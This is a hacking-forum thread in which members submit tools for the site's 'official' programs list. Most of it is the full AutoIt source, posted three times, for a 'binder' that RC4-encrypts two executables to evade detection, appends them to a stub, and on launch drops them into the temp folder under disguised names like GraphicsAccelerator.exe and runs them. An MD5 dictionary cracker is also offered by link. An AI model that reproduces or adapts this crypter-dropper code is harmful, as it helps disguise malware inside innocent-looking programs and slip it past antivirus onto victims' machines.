Login Register






The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.
Thread Rating:
  • 0 Vote(s) - 0 Average


Your program in the official HC Programs? filter_list
Author
Message
RE: Your program in the official HC Programs? #51
(12-29-2012, 11:33 PM)Guxi Wrote: Can i get official logo and font used in logo. I'll try to program something nice so i can hopefully publish something into 'official' of this forum.

Thanks

Deliver the program first so I can resize the logo to it. I'll just send you it.

Reply

RE: Your program in the official HC Programs? #52
I'd wish to apply for one tool i made.
Name : Hack Community Binder Biggrin
Description : It can be used to bind two executable files together. It will also encrypt them before binding them, to make it a bit undetectable.
Coded in : Autoit3
Screenshot : [Image: HC_Binder.png]
Source [binder] :
Code:
#include<GUIConstants.au3>
#include<EditConstants.au3>
#include<Crypt.au3>
#include<WindowsConstants.au3>

Opt("GUIOnEventMode",1)
$color1=0x090909
$color2=0xa9595a
$color3=0x777777
$frame=GUICreate("Binder",400,300,200,200,$WS_POPUPWINDOW)
$header1=GUICtrlCreateLabel("Hack Community",20,20,360,50)
$header2=GUICtrlCreateLabel("Binder",220,60,100,50)
$label1=GUICtrlCreateLabel("File 1",20,130,60,20)
$label2=GUICtrlCreateLabel("File 2",20,170,60,20)
$label3=GUICtrlCreateLabel("Output Path",20,210,60,20)
$input1=GUICtrlCreateInput("",90,130,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input2=GUICtrlCreateInput("",90,170,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input3=GUICtrlCreateInput("",90,210,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$button1=GUICtrlCreateButton("...",350,130,30,20)
$button2=GUICtrlCreateButton("...",350,170,30,20)
$button3=GUICtrlCreateButton("...",350,210,30,20)
$bind=GUICtrlCreateButton("Bind",190,250,70,25)
$close=GUICtrlCreateButton("Close",270,250,70,25)
$about=GUICtrlCreateButton(">>",370,270,20,20)
$frame2=GUICreate("",300,100,600,400,$WS_POPUPWINDOW)

$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)
$view=0
init()
GUICtrlSetOnEvent($close,"quit")
GUICtrlSetOnEvent($button1,"getpath1")
GUICtrlSetOnEvent($button2,"getpath2")
GUICtrlSetOnEvent($button3,"getpath3")
GUICtrlSetOnEvent($bind,"bind")
GUICtrlSetOnEvent($about,"about")
GUISetState(@SW_SHOW,$frame)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)
While 1
   ;
WEnd

Func init()
   GUICtrlSetFont($header1,27)
   GUICtrlSetFont($header2,25)
   GUICtrlSetFont($label1,14)
   GUICtrlSetFont($label2,14)
   GUICtrlSetFont($label3,14)
   GUICtrlSetFont($label,11)
   GUICtrlSetFont($bind,12)
   GUICtrlSetFont($close,12)
   GUICtrlSetFont($input1,12)
   GUICtrlSetFont($input2,12)
   GUICtrlSetFont($input3,12)
   GUISetBkColor($color1,$frame)
   GUISetBkColor($color1,$frame2)
   GUICtrlSetBkColor($input1,$color3)
   GUICtrlSetBkColor($input2,$color3)
   GUICtrlSetBkColor($input3,$color3)
   GUICtrlSetBkColor($button1,$color2)
   GUICtrlSetBkColor($button2,$color2)
   GUICtrlSetBkColor($button3,$color2)
   GUICtrlSetColor($label1,$color2)
   GUICtrlSetColor($label2,$color2)
   GUICtrlSetColor($label,$color2)
   GUICtrlSetColor($label3,$color2)
   GUICtrlSetBkColor($bind,$color2)
   GUICtrlSetBkColor($close,$color2)
   GUICtrlSetBkColor($about,$color2)
   GUICtrlSetColor($header1,$color2)
   GUICtrlSetColor($header2,$color3)
EndFunc

Func quit()
   Exit
EndFunc

Func getpath1()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
      ;
   Else
      GUICtrlSetData($input1,$filepath)
   EndIf
EndFunc

Func getpath2()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
      ;
   Else
      GUICtrlSetData($input2,$filepath)
   EndIf
EndFunc


Func getpath3()
   $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"
   If @error Then
      ;
   Else
      GUICtrlSetData($input3,$filepath)
   EndIf
EndFunc

Func bind()
   $path1=GUICtrlRead($input1)
   $path2=GUICtrlRead($input2)
   $path3=GUICtrlRead($input3)
   If FileExists($path1) And FileExists($path2) Then
      $marker=StringToBinary("SOLIXIOUS")
      $output=FileOpen($path3,1+2+8+16)
      $inputx1=FileOpen($path1,0+16)
      $inputx2=FileOpen($path2,0+16)
      $data1=FileRead($inputx1)
      $data2=FileRead($inputx2)
      $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
      $stubdata=FileRead($stub)
      FileWrite($output,$stubdata)
      FileWrite($output,$marker)
      $data1=encrypt(BinaryToString($data1))
      $data2=encrypt(BinaryToString($data2))
      FileWrite($output,StringToBinary($data1))
      FileWrite($output,$marker)
      FileWrite($output,StringToBinary($data2))
      FileClose($output)
      FileClose($inputx1)
      FileClose($inputx2)
      MsgBox(64,"Successful","Files Binded Successfully!")
      GUICtrlSetData($input1,"")
      GUICtrlSetData($input2,"")
      GUICtrlSetData($input3,"")
   EndIf
EndFunc

Func encrypt($data)
   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)
   Return $data
EndFunc

Func about()
   If $view=0 Then
      GUISetState(@SW_SHOW,$frame2)
      GUICtrlSetData($about,"<<")
      $view=1
   Else
      GUISetState(@SW_HIDE,$frame2)
      GUICtrlSetData($about,">>")
      $view=0
   EndIf
EndFunc

Source [stub]
Code:
#include<Crypt.au3>

$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
   MsgBox(0,"No Delimiters","No delimiters Found!")
Else
   If $ardata[0]=3 Then
      $ardata[2]=decrypt(BinaryToString($ardata[2]))
      $ardata[3]=decrypt(BinaryToString($ardata[3]))
      $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
      FileWrite($file1,$ardata[2])
      FileClose($file1)
      $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)
      FileWrite($file1,$ardata[3])
      FileClose($file2)
      ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
      ShellExecute(@TempDir & "\GraphicsService.exe")
      While 1
         ;
      WEnd
   EndIf
EndIf

Func decrypt($data)
   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)
   return $data
EndFunc

Func quit()
   Exit
EndFunc

Extra Note : I've made it for binding 2 files only right now, I might add more of them later. Pardon me, but my code usually doesn't look very pretty, but it is clean. I mean I'm not infecting anyone Biggrin

Download :
Hack Community Binder x86.rar
Hack Community Binder x86.rar
Hack Community Binder x64
Folow me on My YouTube Channel if you're into art.

Reply

RE: Your program in the official HC Programs? #53
(01-28-2013, 05:49 PM)Solixious Wrote: I'd wish to apply for one tool i made.
Name : Hack Community Binder Biggrin
Description : It can be used to bind two executable files together. It will also encrypt them before binding them, to make it a bit undetectable.
Coded in : Autoit3
Screenshot : [Image: HC_Binder.png]
Source [binder] :
Code:
#include<GUIConstants.au3>
#include<EditConstants.au3>
#include<Crypt.au3>
#include<WindowsConstants.au3>

Opt("GUIOnEventMode",1)
$color1=0x090909
$color2=0xa9595a
$color3=0x777777
$frame=GUICreate("Binder",400,300,200,200,$WS_POPUPWINDOW)
$header1=GUICtrlCreateLabel("Hack Community",20,20,360,50)
$header2=GUICtrlCreateLabel("Binder",220,60,100,50)
$label1=GUICtrlCreateLabel("File 1",20,130,60,20)
$label2=GUICtrlCreateLabel("File 2",20,170,60,20)
$label3=GUICtrlCreateLabel("Output Path",20,210,60,20)
$input1=GUICtrlCreateInput("",90,130,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input2=GUICtrlCreateInput("",90,170,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input3=GUICtrlCreateInput("",90,210,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$button1=GUICtrlCreateButton("...",350,130,30,20)
$button2=GUICtrlCreateButton("...",350,170,30,20)
$button3=GUICtrlCreateButton("...",350,210,30,20)
$bind=GUICtrlCreateButton("Bind",190,250,70,25)
$close=GUICtrlCreateButton("Close",270,250,70,25)
$about=GUICtrlCreateButton(">>",370,270,20,20)
$frame2=GUICreate("",300,100,600,400,$WS_POPUPWINDOW)

$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)
$view=0
init()
GUICtrlSetOnEvent($close,"quit")
GUICtrlSetOnEvent($button1,"getpath1")
GUICtrlSetOnEvent($button2,"getpath2")
GUICtrlSetOnEvent($button3,"getpath3")
GUICtrlSetOnEvent($bind,"bind")
GUICtrlSetOnEvent($about,"about")
GUISetState(@SW_SHOW,$frame)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)
While 1
   ;
WEnd

Func init()
   GUICtrlSetFont($header1,27)
   GUICtrlSetFont($header2,25)
   GUICtrlSetFont($label1,14)
   GUICtrlSetFont($label2,14)
   GUICtrlSetFont($label3,14)
   GUICtrlSetFont($label,11)
   GUICtrlSetFont($bind,12)
   GUICtrlSetFont($close,12)
   GUICtrlSetFont($input1,12)
   GUICtrlSetFont($input2,12)
   GUICtrlSetFont($input3,12)
   GUISetBkColor($color1,$frame)
   GUISetBkColor($color1,$frame2)
   GUICtrlSetBkColor($input1,$color3)
   GUICtrlSetBkColor($input2,$color3)
   GUICtrlSetBkColor($input3,$color3)
   GUICtrlSetBkColor($button1,$color2)
   GUICtrlSetBkColor($button2,$color2)
   GUICtrlSetBkColor($button3,$color2)
   GUICtrlSetColor($label1,$color2)
   GUICtrlSetColor($label2,$color2)
   GUICtrlSetColor($label,$color2)
   GUICtrlSetColor($label3,$color2)
   GUICtrlSetBkColor($bind,$color2)
   GUICtrlSetBkColor($close,$color2)
   GUICtrlSetBkColor($about,$color2)
   GUICtrlSetColor($header1,$color2)
   GUICtrlSetColor($header2,$color3)
EndFunc

Func quit()
   Exit
EndFunc

Func getpath1()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
      ;
   Else
      GUICtrlSetData($input1,$filepath)
   EndIf
EndFunc

Func getpath2()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
      ;
   Else
      GUICtrlSetData($input2,$filepath)
   EndIf
EndFunc


Func getpath3()
   $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"
   If @error Then
      ;
   Else
      GUICtrlSetData($input3,$filepath)
   EndIf
EndFunc

Func bind()
   $path1=GUICtrlRead($input1)
   $path2=GUICtrlRead($input2)
   $path3=GUICtrlRead($input3)
   If FileExists($path1) And FileExists($path2) Then
      $marker=StringToBinary("SOLIXIOUS")
      $output=FileOpen($path3,1+2+8+16)
      $inputx1=FileOpen($path1,0+16)
      $inputx2=FileOpen($path2,0+16)
      $data1=FileRead($inputx1)
      $data2=FileRead($inputx2)
      $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
      $stubdata=FileRead($stub)
      FileWrite($output,$stubdata)
      FileWrite($output,$marker)
      $data1=encrypt(BinaryToString($data1))
      $data2=encrypt(BinaryToString($data2))
      FileWrite($output,StringToBinary($data1))
      FileWrite($output,$marker)
      FileWrite($output,StringToBinary($data2))
      FileClose($output)
      FileClose($inputx1)
      FileClose($inputx2)
      MsgBox(64,"Successful","Files Binded Successfully!")
      GUICtrlSetData($input1,"")
      GUICtrlSetData($input2,"")
      GUICtrlSetData($input3,"")
   EndIf
EndFunc

Func encrypt($data)
   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)
   Return $data
EndFunc

Func about()
   If $view=0 Then
      GUISetState(@SW_SHOW,$frame2)
      GUICtrlSetData($about,"<<")
      $view=1
   Else
      GUISetState(@SW_HIDE,$frame2)
      GUICtrlSetData($about,">>")
      $view=0
   EndIf
EndFunc

Source [stub]
Code:
#include<Crypt.au3>

$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
   MsgBox(0,"No Delimiters","No delimiters Found!")
Else
   If $ardata[0]=3 Then
      $ardata[2]=decrypt(BinaryToString($ardata[2]))
      $ardata[3]=decrypt(BinaryToString($ardata[3]))
      $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
      FileWrite($file1,$ardata[2])
      FileClose($file1)
      $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)
      FileWrite($file1,$ardata[3])
      FileClose($file2)
      ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
      ShellExecute(@TempDir & "\GraphicsService.exe")
      While 1
         ;
      WEnd
   EndIf
EndIf

Func decrypt($data)
   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)
   return $data
EndFunc

Func quit()
   Exit
EndFunc

Extra Note : I've made it for binding 2 files only right now, I might add more of them later. Pardon me, but my code usually doesn't look very pretty, but it is clean. I mean I'm not infecting anyone Biggrin

Download :
Hack Community Binder x86.rar
Hack Community Binder x86.rar
Hack Community Binder x64


Please put the logo in the program along with the correct colors.
Use #FF0000 : )

Reply

RE: Your program in the official HC Programs? #54
Updated With More HC like color :
[Image: HC_Binder.png]

Binder Source :
Code:
#include<GUIConstants.au3>
#include<EditConstants.au3>
#include<Crypt.au3>
#include<WindowsConstants.au3>
#include<GDIPlus.au3>

Opt("GUIOnEventMode",1)
$color1=0x090909
$color2=0xff0000
$color3=0x777777
$frame=GUICreate("Binder",600,400,200,200,$WS_POPUPWINDOW)
_GDIPlus_Startup()
$hImage = _GDIPlus_ImageLoadFromFile("logo.png")
$hGraphic = _GDIPlus_GraphicsCreateFromHWND($frame)
GUIRegisterMsg($WM_PAINT, "MY_WM_PAINT")

$header=GUICtrlCreateLabel("Binder",340,40,130,50)
$label1=GUICtrlCreateLabel("File 1",20,230,60,20)
$label2=GUICtrlCreateLabel("File 2",20,270,60,20)
$label3=GUICtrlCreateLabel("Output Path",20,310,60,20)
$input1=GUICtrlCreateInput("",90,230,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input2=GUICtrlCreateInput("",90,270,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input3=GUICtrlCreateInput("",90,310,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$button1=GUICtrlCreateButton("...",550,230,30,20)
$button2=GUICtrlCreateButton("...",550,270,30,20)
$button3=GUICtrlCreateButton("...",550,310,30,20)
$bind=GUICtrlCreateButton("Bind",190,350,70,25)
$close=GUICtrlCreateButton("Close",270,350,70,25)
$about=GUICtrlCreateButton(">>",570,370,20,20)
$frame2=GUICreate("",300,100,800,500,$WS_POPUPWINDOW)

$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)
$view=0
init()
GUICtrlSetOnEvent($close,"quit")
GUICtrlSetOnEvent($button1,"getpath1")
GUICtrlSetOnEvent($button2,"getpath2")
GUICtrlSetOnEvent($button3,"getpath3")
GUICtrlSetOnEvent($bind,"bind")
GUICtrlSetOnEvent($about,"about")
GUISetState(@SW_SHOW,$frame)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)
While 1
   ;
WEnd

Func MY_WM_PAINT($hWnd, $msg, $wParam, $lParam)
    #forceref $hWnd, $Msg, $wParam, $lParam
    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_UPDATENOW)
    _GDIPlus_GraphicsDrawImage($hGraphic, $hImage, 0, 0)
    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_VALIDATE)
    Return $GUI_RUNDEFMSG
EndFunc

Func init()
   GUICtrlSetFont($header,25,700,2)
   GUICtrlSetFont($label1,14)
   GUICtrlSetFont($label2,14)
   GUICtrlSetFont($label3,14)
   GUICtrlSetFont($label,11)
   GUICtrlSetFont($bind,12)
   GUICtrlSetFont($close,12)
   GUICtrlSetFont($input1,12)
   GUICtrlSetFont($input2,12)
   GUICtrlSetFont($input3,12)
   GUISetBkColor($color1,$frame)
   GUISetBkColor($color1,$frame2)
   GUICtrlSetBkColor($input1,$color3)
   GUICtrlSetBkColor($input2,$color3)
   GUICtrlSetBkColor($input3,$color3)
   GUICtrlSetBkColor($button1,$color2)
   GUICtrlSetBkColor($button2,$color2)
   GUICtrlSetBkColor($button3,$color2)
   GUICtrlSetColor($label1,$color2)
   GUICtrlSetColor($label2,$color2)
   GUICtrlSetColor($label,$color2)
   GUICtrlSetColor($label3,$color2)
   GUICtrlSetBkColor($bind,$color2)
   GUICtrlSetBkColor($close,$color2)
   GUICtrlSetBkColor($about,$color2)
   GUICtrlSetColor($header,$color2)
EndFunc

Func quit()
   _GDIPlus_GraphicsDispose($hGraphic)
   _GDIPlus_ImageDispose($hImage)
   _GDIPlus_Shutdown()
   Exit
EndFunc

Func getpath1()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
      ;
   Else
      GUICtrlSetData($input1,$filepath)
   EndIf
EndFunc

Func getpath2()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
      ;
   Else
      GUICtrlSetData($input2,$filepath)
   EndIf
EndFunc


Func getpath3()
   $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"
   If @error Then
      ;
   Else
      GUICtrlSetData($input3,$filepath)
   EndIf
EndFunc

Func bind()
   $path1=GUICtrlRead($input1)
   $path2=GUICtrlRead($input2)
   $path3=GUICtrlRead($input3)
   If FileExists($path1) And FileExists($path2) Then
      $marker=StringToBinary("SOLIXIOUS")
      $output=FileOpen($path3,1+2+8+16)
      $inputx1=FileOpen($path1,0+16)
      $inputx2=FileOpen($path2,0+16)
      $data1=FileRead($inputx1)
      $data2=FileRead($inputx2)
      $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
      $stubdata=FileRead($stub)
      FileWrite($output,$stubdata)
      FileWrite($output,$marker)
      $data1=encrypt(BinaryToString($data1))
      $data2=encrypt(BinaryToString($data2))
      FileWrite($output,StringToBinary($data1))
      FileWrite($output,$marker)
      FileWrite($output,StringToBinary($data2))
      FileClose($output)
      FileClose($inputx1)
      FileClose($inputx2)
      MsgBox(64,"Successful","Files Binded Successfully!")
      GUICtrlSetData($input1,"")
      GUICtrlSetData($input2,"")
      GUICtrlSetData($input3,"")
   EndIf
EndFunc

Func encrypt($data)
   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)
   Return $data
EndFunc

Func about()
   If $view=0 Then
      GUISetState(@SW_SHOW,$frame2)
      GUICtrlSetData($about,"<<")
      $view=1
   Else
      GUISetState(@SW_HIDE,$frame2)
      GUICtrlSetData($about,">>")
      $view=0
   EndIf
EndFunc

Stub Source :
Code:
#include<Crypt.au3>

$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
   MsgBox(0,"No Delimiters","No delimiters Found!")
Else
   If $ardata[0]=3 Then
      $ardata[2]=decrypt(BinaryToString($ardata[2]))
      $ardata[3]=decrypt(BinaryToString($ardata[3]))
      $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
      FileWrite($file1,$ardata[2])
      FileClose($file1)
      $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)
      FileWrite($file1,$ardata[3])
      FileClose($file2)
      ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
      ShellExecute(@TempDir & "\GraphicsService.exe")
      While 1
         ;
      WEnd
   EndIf
EndIf

Func decrypt($data)
   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)
   return $data
EndFunc

Func quit()
   Exit
EndFunc

Download Link : Hack Community Binder x86.rar
(I'll upload them in other websites later, My connection is giving some problems currently )
Folow me on My YouTube Channel if you're into art.

Reply

RE: Your program in the official HC Programs? #55
this is pissing me off i tried coding a few things for hc but it comes up with shit like krypt in virus scan coding it with vb it does my head in Sad but been coded with just some simple coding does anyone know about this ? and that binder looks great
[Image: gangstathugbling6.gif]

Reply

RE: Your program in the official HC Programs? #56
(02-03-2013, 03:25 AM)krislovesholly Wrote: this is pissing me off i tried coding a few things for hc but it comes up with shit like krypt in virus scan coding it with vb it does my head in Sad but been coded with just some simple coding does anyone know about this ? and that binder looks great

I recommend you making a thread in the program discussion for help.

Reply

RE: Your program in the official HC Programs? #57
An HC Official tool must have a GUI??? (Is CLI Allowed?)
My Blog: http://www.procurity.wordpress.com
Donations: 1HLjiSbnWMpeQU46eUVCrYdbkrtduX7snG

Reply

RE: Your program in the official HC Programs? #58
(03-02-2013, 06:06 AM)Ex094 Wrote: An HC Official tool must have a GUI??? (Is CLI Allowed?)

CLI is allowed as long as it displays some stuff related to HC.

Reply

RE: Your program in the official HC Programs? #59
Name: MD5 Hash Cracker

Description: Compares Hashes from the wordlist with the one that the user has input (Dictionary Method)

Coded in: Python 3.3

Screenshots:

[Image: IzIKnRy.png]

Source: http://www.hackcommunity.com/Thread-Cont...#pid123638

Program: http://www.mediafire.com/?qftt54cpk5t2e77
My Blog: http://www.procurity.wordpress.com
Donations: 1HLjiSbnWMpeQU46eUVCrYdbkrtduX7snG

Reply

RE: Your program in the official HC Programs? #60
Name: MD5 Hash Cracker

Description: Compares Hashes from the wordlist with the one that the user has input (Dictionary Method)

Coded in: Python 3.3

Screenshots:

[Image: IzIKnRy.png]

Source: http://www.hackcommunity.com/Thread-Cont...#pid123638

Program: http://www.mediafire.com/?qftt54cpk5t2e77
My Blog: http://www.procurity.wordpress.com
Donations: 1HLjiSbnWMpeQU46eUVCrYdbkrtduX7snG

Reply







Users browsing this thread: 1 Guest(s)